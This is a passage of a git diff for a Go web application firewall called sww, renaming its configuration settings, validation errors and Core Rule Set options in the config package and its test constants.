AnomalyNetV6Prefix are the lengths of the - // netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and - // SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks - // (SWW_WAF_WATCH_NETS). + // and per watched netblock (SWW_WAF_ANOMALY_WATCHED_NET_*), each 0 while + // it is off. AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths + // of the netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and + // SWW_WAF_ANOMALY_NET_V6_PREFIX), and AnomalyWatchedNets the watched + // netblocks (SWW_WAF_ANOMALY_WATCHED_NETS). AnomalyClient anomaly.Thresholds AnomalyNet anomaly.Thresholds AnomalyASN anomaly.Thresholds AnomalyTotal anomaly.Thresholds - AnomalyWatch anomaly.Thresholds + AnomalyWatchedNet anomaly.Thresholds AnomalyNetV4Prefix int AnomalyNetV6Prefix int - WatchNets []anomaly.NamedNetblock + AnomalyWatchedNets []anomaly.NamedNetblock // settings are the values read, as given or by default, and the // files they were read from, for the log line at start. @@ -306,12 +316,12 @@ type Config struct { // The values of SWW_WAF_CORE_RULE_SET_MODE. const ( - // WAFModeOff runs no request through the Core Rule Set. - WAFModeOff = off - // WAFModeDetect logs and alerts a match, and refuses nothing. - WAFModeDetect = "detect" - // WAFModeBlock refuses a match with 403. - WAFModeBlock = "block" + // CoreRuleSetModeOff runs no request through the Core Rule Set. + CoreRuleSetModeOff = off + // CoreRuleSetModeDetect logs and alerts a match, and refuses nothing. + CoreRuleSetModeDetect = "detect" + // CoreRuleSetModeBlock refuses a match with 403. + CoreRuleSetModeBlock = "block" ) // fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the @@ -379,10 +389,10 @@ var ( "is not a name, = and a netblock, such as office=203.0.113.0/24") errNotAbsolutePath = errors.New( "is not an absolute path, such as /var/lib/sww") - errShortToken = errors.New("is shorter than 32 characters") - errNotMode = errors.New("is not enforce or observe") - errNotBytesCount = errors.New("is not response, request or both") - errNotPathPrefix = errors.New( + errShortToken = errors.New("is shorter than 32 characters") + errNotMode = errors.New("is not enforce or observe") + errNotBytesCounted = errors.New("is not response, request or both") + errNotPathPrefix = errors.New( "is not a path prefix starting with /, such as /assets/") errNotTrapPath = errors.New( "is not a path starting with / and without a ?, such as /wp-login.php", @@ -396,9 +406,11 @@ var ( errNotApp = errors.New( "is not an app sww has fixes for; the apps are", ) - errNotWAFMode = errors.New("is not off, detect or block") - errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4") - errNotRuleID = errors.New( + errNotCoreRuleSetMode = errors.New("is not off, detect or block") + errNotParanoiaLevel = errors.New( + "is not a paranoia level, from 1 to 4", + ) + errNotRuleID = errors.New( "is not the id of a Core Rule Set rule, a whole number such as 942100", ) errSetupRuleID = errors.New( @@ -501,7 +513,7 @@ var ( ) ) -// FromEnvironment reads the settings through v, normally the viper +// WAFFromEnvironment reads the settings through v, normally the viper // NewViper returns, bound to the process's environment. A setting may // instead be given as a file: the variable named by the setting's name // with _FILE added names the file, which is read now (see lookup). A @@ -509,9 +521,9 @@ var ( // invalid is an error that names it. // //nolint:funlen // one line for each setting, a list that grows with them -func FromEnvironment(v *viper.Viper) (*Config, error) { +func WAFFromEnvironment(v *viper.Viper) (*WAF, error) { env := &environment{v: v} - cfg := &Config{ + cfg := &WAF{ ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"), InstanceName: env.instanceName(), Observe: env.observe("SWW_WAF_MODE", "enforce"), @@ -545,15 +557,15 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { ), BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"), BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"), - BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"), + BytesCounted: env.bytesCounted("SWW_WAF_BYTES_COUNTED", "both"), LookupSource: env.lookupSource( "SWW_WAF_LOOKUP_SOURCE", "geojs", ), LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""), - LookupTimeout: env.durationNotOff( - "SWW_WAF_LOOKUP_TIMEOUT", - "800ms", + ASNAndCountryLookupTimeout: env.milliseconds( + "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS", + "800", ), AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"), ExclusivelyAllowedCountries: env.countries( @@ -562,16 +574,16 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { TagDeny: env.tags("SWW_WAF_TAG_DENY"), TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"), RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"), - ASNBytesPercent: env.percents( - "SWW_WAF_ASN_BYTES_PERCENT", + ASNBytesLimitPercent: env.percents( + "SWW_WAF_ASN_BYTES_LIMIT_PERCENT", ParseASN, ), - CountryBytesPercent: env.percents( - "SWW_WAF_COUNTRY_BYTES_PERCENT", + CountryBytesLimitPercent: env.percents( + "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", parseCountry, ), - UnknownLimitPercent: env.percent( - "SWW_WAF_UNKNOWN_LIMIT_PERCENT", + UnknownCountryLimitPercent: env.percent( + "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", "100", ), ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"), @@ -585,13 +597,13 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { "SWW_WAF_ABUSEIPDB_DAILY_BUDGET", "900", ), - ReputationCacheTTL: env.durationNotOff( - "SWW_WAF_REPUTATION_CACHE_TTL", + IPReputationCacheTTL: env.durationNotOff( + "SWW_WAF_IP_REPUTATION_CACHE_TTL", "24h", ), - ReputationTimeout: env.durationNotOff( - "SWW_WAF_REPUTATION_TIMEOUT", - "2s", + DNSBLAbuseIPDBTimeout: env.milliseconds( + "SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS", + "2000", ), CrowdSecDecisionsURL: env.crowdSecDecisionsURL( "SWW_WAF_CROWDSEC_LAPI_URL", @@ -606,8 +618,8 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW", "24h", ), - MaxBanDuration: env.durationNotOff( - "SWW_WAF_MAX_BAN_DURATION", + LimitBanPermanentAbove: env.durationNotOff( + "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE", "7d", ), AttackBanDuration: env.durationNotOff( @@ -620,12 +632,12 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { "SWW_WAF_STATE_DIR", "/var/lib/sww", ), - StateWriteDelay: env.durationNotOff( - "SWW_WAF_STATE_WRITE_DELAY", + BansWriteDelay: env.durationNotOff( + "SWW_WAF_BANS_WRITE_DELAY", "10s", ), - StateCounterInterval: env.durationNotOff( - "SWW_WAF_STATE_COUNTER_INTERVAL", + StateWriteInterval: env.durationNotOff( + "SWW_WAF_STATE_WRITE_INTERVAL", "15m", ), CacheDir: env.absolutePath( @@ -636,48 +648,62 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { "SWW_WAF_LOG_REQUEST_HEADERS", "accept,accept-language,accept-encoding,content-type,origin,range", ), - LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"), + LogLevel: env.logLevel( + "SWW_WAF_LOG_LEVEL", + "info", + ), AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"), MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"), - MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"), - RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"), - RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"), - WAFMode: env.wafMode( - "SWW_WAF_CORE_RULE_SET_MODE", - WAFModeBlock, + MetricsBusiestCountriesAndASNs: env.numberNotOff( + "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS", + "50", ), - WAFParanoiaLevel: env.paranoiaLevel( + RuleFilesDir: env.value( + "SWW_WAF_RULE_FILES_DIR", + "/etc/sww/rules.d", + ), + RuleFilesEnabled: env.boolean( + "SWW_WAF_RULE_FILES_ENABLED", + "true", + ), + CoreRuleSetMode: env.coreRuleSetMode( + "SWW_WAF_CORE_RULE_SET_MODE", + CoreRuleSetModeBlock, + ), + CoreRuleSetParanoiaLevel: env.paranoiaLevel( "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL", "1", ), - WAFAnomalyThreshold: env.numberOrOff( - "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD", + CoreRuleSetScoreThreshold: env.numberOrOff( + "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD", "5", ), - WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES", - "920340,920420,920440,920640,930130,930140"), - WAFExemptPaths: env.pathPrefixes( + CoreRuleSetDisabledRules: env.ruleIDs( + "SWW_WAF_CORE_RULE_SET_DISABLED_RULES", + "920340,920420,920440,920640,930130,930140", + ), + CoreRuleSetExemptPaths: env.pathPrefixes( "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS", "", ), - WAFBodyLimit: env.wafBodyLimit( - "SWW_WAF_CORE_RULE_SET_BODY_LIMIT", + CoreRuleSetBodyInspectionSize: env.coreRuleSetBodyInspectionSize( + "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE", off, ), CoreRuleSetExclusionsFile: env.filePath( "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"), Apps: env.apps("SWW_WAF_APPS"), TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"), - ErrorBurstThreshold: env.count( - "SWW_WAF_ERROR_BURST_THRESHOLD", + RefusalsLimitPerMinute: env.count( + "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE", "30", ), LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"), LogRemoteTLSCAs: env.certificates( "SWW_WAF_LOG_REMOTE_TLS_CA_FILE", ), - LogRemoteBuffer: env.numberNotOff( - "SWW_WAF_LOG_REMOTE_BUFFER", + LogRemoteBufferLines: env.numberNotOff( + "SWW_WAF_LOG_REMOTE_BUFFER_LINES", "10000", ), LogRemoteFacility: env.facility( @@ -700,11 +726,11 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { "SWW_WAF_ALERT_MAX_PER_HOUR", "60", ), - AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"), - AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"), - AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"), - AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"), - AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"), + AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"), + AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"), + AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"), + AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"), + AnomalyWatchedNet: env.thresholds("SWW_WAF_ANOMALY_WATCHED_NET_"), AnomalyNetV4Prefix: env.v4Prefix( "SWW_WAF_ANOMALY_NET_V4_PREFIX", "24", @@ -713,15 +739,17 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { "SWW_WAF_ANOMALY_NET_V6_PREFIX", "48", ), - WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"), + AnomalyWatchedNets: env.namedNetblocks( + "SWW_WAF_ANOMALY_WATCHED_NETS", + ), } cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME", cfg.InstanceName, cfg.LogRemoteURL != nil) cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action( "SWW_WAF_BLOCKLIST_ACTION", "deny") - cfg.ReputationAction, cfg.ReputationLimitPercent = env.action( - "SWW_WAF_REPUTATION_ACTION", "limit:25") + cfg.DNSBLAbuseIPDBAction, cfg.DNSBLAbuseIPDBLimitPercent = env.action( + "SWW_WAF_DNSBL_ABUSEIPDB_ACTION", "limit:25") env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) env.checkLookupDBPath(cfg) @@ -741,7 +769,7 @@ func FromEnvironment(v *viper.Viper) (*Config, error) { } // WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a -// file, as FromEnvironment does. The health check in waf's container needs +// file, as WAFFromEnvironment does. The health check in waf's container needs // no other setting, so it reads no other, nor a file that another names. func WAFListenAddr(v *viper.Viper) (string, error) { env := &environment{v: v} @@ -751,18 +779,18 @@ func WAFListenAddr(v *viper.Viper) (string, error) { } // InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a -// file, as FromEnvironment does, so that the line saying a setting is +// file, as WAFFromEnvironment does, so that the line saying a setting is // invalid carries it too. A file that cannot be read gives the default -// here, and FromEnvironment then stops the start over it. +// here, and WAFFromEnvironment then stops the start over it. func InstanceName(v *viper.Viper) string { env := &environment{v: v} return env.instanceName() } -// LogValue makes a Config log as each setting's name with the value it was +// LogValue makes a WAF log as each setting's name with the value it was // given, or its default. -func (c *Config) LogValue() slog.Value { +func (c *WAF) LogValue() slog.Value { return slog.GroupValue(c.settings...) } @@ -795,10 +823,14 @@ func (e *environment) duration(name, defaultValue string) time.Duration { return duration } -// wafBodyLimit reads the setting that is the most of a request body the -// Core Rule Set reads. -func (e *environment) wafBodyLimit(name, defaultValue string) int64 { - limit, err := parseWAFBodyLimit(e.value(name, defaultValue)) +// coreRuleSetBodyInspectionSize reads the setting that is the most of a +// request body the Core Rule Set reads. +func (e *environment) coreRuleSetBodyInspectionSize( + name, defaultValue string, +) int64 { + limit, err := parseCoreRuleSetBodyInspectionSize( + e.value(name, defaultValue), + ) e.check(name, err) return limit @@ -812,12 +844,12 @@ func (e *environment) count(name, defaultValue string) int64 { return count } -// bytesCount reads the setting that is which body bytes count toward the -// byte limits: response, request or both. -func (e *environment) bytesCount(name, defaultValue string) string { +// bytesCounted reads the setting that is which body bytes count toward the +// byte limits and the byte anomaly thresholds: response, request or both. +func (e *environment) bytesCounted(name, defaultValue string) string { value := e.value(name, defaultValue) if value != "response" && value != "request" && value != "both" { - e.check(name, fmt.Errorf("%q %w", value, errNotBytesCount)) + e.check(name, fmt.Errorf("%q %w", value, errNotBytesCounted)) } return value @@ -859,12 +891,13 @@ func (e *environment) trapPaths(name string) []string { return paths } -// wafMode reads the setting that is what the Core Rule Set does: off, +// coreRuleSetMode reads the setting that is what the Core Rule Set does: off, // detect or block. -func (e *environment) wafMode(name, defaultValue string) string { +func (e *environment) coreRuleSetMode(name, defaultValue string) string { mode := e.value(name, defaultValue) - if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock { - e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode)) + if mode != CoreRuleSetModeOff && mode != CoreRuleSetModeDetect && + mode != CoreRuleSetModeBlock { + e.check(name, fmt.Errorf("%q %w", mode, errNotCoreRuleSetMode)) } return mode @@ -1078,7 +1111,7 @@ func (e *environment) lookupSource(name, defaultValue string) string { // checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without // SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source: // one source at a time. -func (e *environment) checkLookupDBPath(cfg *Config) { +func (e *environment) checkLookupDBPath(cfg *WAF) { switch { case cfg.LookupSource == fileSource && cfg.LookupDBPath == "": e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf( @@ -1100,9 +1133,9 @@ func (e *environment) checkLookupDBPath(cfg *Config) { // up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name // an asn= or country= tag, the biased thresholds, // SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which -// SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a +// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT needs them only below 100, where it lowers a // limit, and the anomaly thresholds per AS number. -func (e *environment) checkCountriesAndLookups(cfg *Config) { +func (e *environment) checkCountriesAndLookups(cfg *WAF) { for _, country := range cfg.ExclusivelyAllowedCountries { if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) { e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", @@ -1129,9 +1162,9 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) { {"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)}, {"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc( slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)}, - {"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0}, - {"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0}, - {"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100}, + {"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", len(cfg.ASNBytesLimitPercent) > 0}, + {"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", len(cfg.CountryBytesLimitPercent) > 0}, + {"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", cfg.UnknownCountryLimitPercent < 100}, {"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""}, {"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0}, {"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0}, @@ -1150,7 +1183,7 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) { // checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a // blocklist too: the file at a URL is fetched as one list or the other. -func (e *environment) checkASNLimitPercentURL(cfg *Config) { +func (e *environment) checkASNLimitPercentURL(cfg *WAF) { if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) { e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL", fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs)) @@ -1160,7 +1193,7 @@ func (e *environment) checkASNLimitPercentURL(cfg *Config) { // checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without // SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list // that is fetched as another list too. -func (e *environment) checkCrowdSec(cfg *Config) { +func (e *environment) checkCrowdSec(cfg *WAF) { decisionsURL := cfg.CrowdSecDecisionsURL switch { @@ -1186,7 +1219,7 @@ func (e *environment) checkCrowdSec(cfg *Config) { // checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as // another list too: the file at a URL is read as one kind of list. -func (e *environment) checkTagLists(cfg *Config) { +func (e *environment) checkTagLists(cfg *WAF) { for _, list := range cfg.TagLists { if slices.Contains(cfg.BlocklistURLs, list.URL) || list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL { @@ -1201,7 +1234,7 @@ func (e *environment) checkTagLists(cfg *Config) { // checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would // never apply: crowdsec, whose request is refused before tags are acted on, and // any tag these settings cannot give a request. -func (e *environment) checkTags(cfg *Config) { +func (e *environment) checkTags(cfg *WAF) { for _, tag := range cfg.TagDeny { e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag)) } @@ -1212,7 +1245,7 @@ func (e *environment) checkTags(cfg *Config) { } // checkTag returns an error when tag would never apply, as checkTags says. -func checkTag(cfg *Config, tag string) error { +func checkTag(cfg *WAF, tag string) error { if tag == CrowdSecTag { return fmt.Errorf("%q %w", tag, errCrowdSecTag) } @@ -1225,17 +1258,17 @@ func checkTag(cfg *Config, tag string) error { } // requestCanGetTag reports whether anything cfg sets up can give a request tag. -func requestCanGetTag(cfg *Config, tag string) bool { +func requestCanGetTag(cfg *WAF, tag string) bool { isListName := func(list TagList) bool { return list.Name == tag } if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) { return true } if tag == ExploitSignatureTag { - coreRuleSetOn := cfg.WAFMode != WAFModeOff && - cfg.WAFAnomalyThreshold != 0 + coreRuleSetOn := cfg.CoreRuleSetMode != CoreRuleSetModeOff && + cfg.CoreRuleSetScoreThreshold != 0 - return cfg.RulesEnabled || coreRuleSetOn + return cfg.RuleFilesEnabled || coreRuleSetOn } if tag == AbuseIPDBTag { @@ -1256,14 +1289,14 @@ func requestCanGetTag(cfg *Config, tag string) bool { // TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT // names an asn= or country= tag. -func (c *Config) TagsNeedLookup() bool { +func (c *WAF) TagsNeedLookup() bool { return slices.ContainsFunc(c.TagDeny, isLookupTag) || tagLimitNeedsLookups(c) } // tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn= // or country= tag. -func tagLimitNeedsLookups(cfg *Config) bool { +func tagLimitNeedsLookups(cfg *WAF) bool { for tag := range cfg.TagLimitPercent { if isLookupTag(tag) { return true @@ -1639,10 +1672,10 @@ func durationOrDays(value string) (time.Duration, error) { return time.Duration(n) * day, nil } -// parseWAFBodyLimit reads the most of a request body the Core Rule Set +// parseCoreRuleSetBodyInspectionSize reads the most of a request body the Core Rule Set // reads: a size as parseSize reads it, or off, but at most 64K, since waf // gets no more of a body than that. -func parseWAFBodyLimit(value string) (int64, error) { +func parseCoreRuleSetBodyInspectionSize(value string) (int64, error) { limit, err := parseSize(value) if err != nil { return 0, err diff --git a/internal/config/waf_test.go b/internal/config/waf_test.go index 17964cd..5dc4c17 100644 --- a/internal/config/waf_test.go +++ b/internal/config/waf_test.go @@ -26,102 +26,106 @@ import ( // The settings, by name. const ( - listenAddr = "SWW_WAF_LISTEN_ADDR" - mode = "SWW_WAF_MODE" - ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX" - maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS" - allowNets = "SWW_WAF_ALLOW_NETS" - rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" - denyNets = "SWW_WAF_DENY_NETS" - rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE" - rateLimitPerHour = "SWW_WAF_RATE_LIMIT_PER_HOUR" - rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" - rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS" - bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE" - bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR" - bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY" - bytesCount = "SWW_WAF_BYTES_COUNT" - lookupSource = "SWW_WAF_LOOKUP_SOURCE" - lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" - lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT" - addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS" - allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES" - tagLists = "SWW_WAF_TAG_LISTS" - tagDeny = "SWW_WAF_TAG_DENY" - tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT" - asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT" - countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT" - unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT" - asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL" - blocklistURLs = "SWW_WAF_BLOCKLIST_URLS" - blocklistRefresh = "SWW_WAF_BLOCKLIST_REFRESH" - blocklistAction = "SWW_WAF_BLOCKLIST_ACTION" - dnsblZones = "SWW_WAF_DNSBL_ZONES" - dnsblResolver = "SWW_WAF_DNSBL_RESOLVER" - abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY" - abuseIPDBMinScore = "SWW_WAF_ABUSEIPDB_MIN_SCORE" - abuseIPDBDailyBudget = "SWW_WAF_ABUSEIPDB_DAILY_BUDGET" - reputationAction = "SWW_WAF_REPUTATION_ACTION" - reputationCacheTTL = "SWW_WAF_REPUTATION_CACHE_TTL" - reputationTimeout = "SWW_WAF_REPUTATION_TIMEOUT" - routeWatchURL = "SWW_WAF_ROUTEWATCH_URL" - crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL" - crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY" - banResponse = "SWW_WAF_BAN_RESPONSE" - limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION" - limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW" - maxBanDuration = "SWW_WAF_MAX_BAN_DURATION" - attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION" - maxBans = "SWW_WAF_MAX_BANS" - banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX" - stateDir = "SWW_WAF_STATE_DIR" - stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY" - stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL" - cacheDir = "SWW_WAF_CACHE_DIR" - adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name - metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name - metricsTopN = "SWW_WAF_METRICS_TOP_N" - instanceName = "SWW_WAF_INSTANCE_NAME" - logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS" - logLevel = "SWW_WAF_LOG_LEVEL" - rulesDir = "SWW_WAF_RULES_DIR" - rulesEnabled = "SWW_WAF_RULES_ENABLED" - wafMode = "SWW_WAF_CORE_RULE_SET_MODE" - wafParanoiaLevel = "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL" - wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD" - wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES" - wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS" - wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT" - exclusionsFile = "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE" - apps = "SWW_WAF_APPS" - trapPaths = "SWW_WAF_TRAP_PATHS" - errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD" - logRemoteURL = "SWW_WAF_LOG_REMOTE_URL" - logRemoteTLSCAFile = "SWW_WAF_LOG_REMOTE_TLS_CA_FILE" - logRemoteBuffer = "SWW_WAF_LOG_REMOTE_BUFFER" - logRemoteFacility = "SWW_WAF_LOG_REMOTE_FACILITY" - logRemoteAppName = "SWW_WAF_LOG_REMOTE_APP_NAME" - alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL" - alertWebhookHeaders = "SWW_WAF_ALERT_WEBHOOK_HEADERS" - alertSlackWebhookURL = "SWW_WAF_ALERT_SLACK_WEBHOOK_URL" - alertNtfyURL = "SWW_WAF_ALERT_NTFY_URL" - alertNtfyToken = "SWW_WAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name - alertEvents = "SWW_WAF_ALERT_EVENTS" - alertCooldown = "SWW_WAF_ALERT_COOLDOWN" - alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR" - anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX" - anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX" - watchNets = "SWW_WAF_WATCH_NETS" + listenAddr = "SWW_WAF_LISTEN_ADDR" + mode = "SWW_WAF_MODE" + ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX" + maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS" + allowNets = "SWW_WAF_ALLOW_NETS" + rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" + denyNets = "SWW_WAF_DENY_NETS" + rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE" + rateLimitPerHour = "SWW_WAF_RATE_LIMIT_PER_HOUR" + rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" + rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS" + bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE" + bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR" + bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY" + bytesCounted = "SWW_WAF_BYTES_COUNTED" + lookupSource = "SWW_WAF_LOOKUP_SOURCE" + lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" + asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS" + addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS" + allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES" + tagLists = "SWW_WAF_TAG_LISTS" + tagDeny = "SWW_WAF_TAG_DENY" + tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT" + asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT" + countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT" + unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT" + 